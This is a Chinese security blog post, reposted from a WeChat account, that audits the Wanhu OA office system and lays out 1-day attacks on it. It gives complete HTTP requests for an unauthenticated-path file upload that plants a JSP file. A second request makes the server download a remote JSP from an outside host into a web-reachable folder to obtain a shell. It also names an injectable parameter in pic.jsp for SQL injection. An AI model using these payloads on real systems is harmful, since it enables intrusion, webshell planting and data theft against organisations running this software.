1day | 万户OA系统审计

admin 2024年1月29日19:45:31评论49 views字数 2421阅读8分4秒阅读模式


免责声明:

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,小黑说安全及文章作者不为此承担任何责任。
0x01 漏洞分析
打开整个文件
strtus2 的
spring-mvc的
Servlet
这三类的路由情况

整个action的 都要走 StrutsPrepareAndExecuteFilter

1day | 万户OA系统审计

strtus 都是走的默认的正常的

Servlet 的就很简单 就走的绑定

1day | 万户OA系统审计

filter

一个一个的走 看第一个

1day | 万户OA系统审计

进来之后发现第一个

1day | 万户OA系统审计

xfservices/GeneralWeb

逻辑就不多说了 就有这个的就直接过,不建权

1day | 万户OA系统审计

还有这些的也是portal/  upgrade  public/edit/

java会把每一个filter都走完 如果第一个已经过了 就直接return了

文件上传

/defaultroot/platform/portal/layout/common/upload.jsp

包含portal

1day | 万户OA系统审计

1day | 万户OA系统审计

1day | 万户OA系统审计

这里没有过滤文件的类型 直接导致文件上传

文件的路径呢是当前年份加日期/返回的路径

POST /defaultroot/platform/portal/layout/common/upload.jsp?portletSettingId=1&path=../platform/portal/com/ HTTP/1.1
Host:
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: LocLan=zh_CN; OASESSIONID=C3020BCC548C983E91AD240DE0F18493
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykIU0ZM0wGHiH6FRd
Content-Length: 254

------WebKitFormBoundarykIU0ZM0wGHiH6FRd
Content-Disposition: form-data; name="file";filename="chrome.jsp"
content-type: image/pne

<%
out.println("PNG ... content of chrome.png ...222222222222222");
%>
------WebKitFormBoundarykIU0ZM0wGHiH6FRd--

上传后的路径defaultroot/platform/portal/com/当前年份加日期/返回的路径

1day | 万户OA系统审计

文件下载getshell  

存在于strtus 路由里面

1day | 万户OA系统审计

1day | 万户OA系统审计

这里文件下载

1day | 万户OA系统审计

文件不存在就开始下载

下载也就是正常的下载 可以远程的去请求

数据包

POST /defaultroot/yzConvertFile/file2Html.controller HTTP/1.1
Host: xxxxx
Content-Length: 144
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: LocLan=zh_CN; OASESSIONID=30170ED4FFE28967E72103EFFDFE11FA
Connection: close

fileName=1111111111112.jsp&path=../platform/portal/&url=http://xxxxxxx/xxxx.jsp

fileName 有一个字节限制 13位就好了

1day | 万户OA系统审计

配合前台可以访问 那么 我们上传到portal这个下面 就行了

1day | 万户OA系统审计

SQL注入

这里很简单 需要一下JSP文件 很多的 只是前后台的区别

这里找到了defaultroot/platform/portal/portlet/pic/pic.jsp

支持3套数据库

x /defaultroot/platform/portal/portlet/pic/pic.jsp?channelId=1*&num=1&id=1

1day | 万户OA系统审计

1day | 万户OA系统审计

这里很简单 都是拼接的

还有一个spring路由的绕过 大家都知道了 这里就不过多的阐述了

菜鸡作文,有错 多多指教。

0x02 

原文始发于微信公众号(小黑说安全):1day | 万户OA系统审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月29日19:45:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   1day | 万户OA系统审计http://cn-sec.com/archives/2441298.html

发表评论

匿名网友 填写信息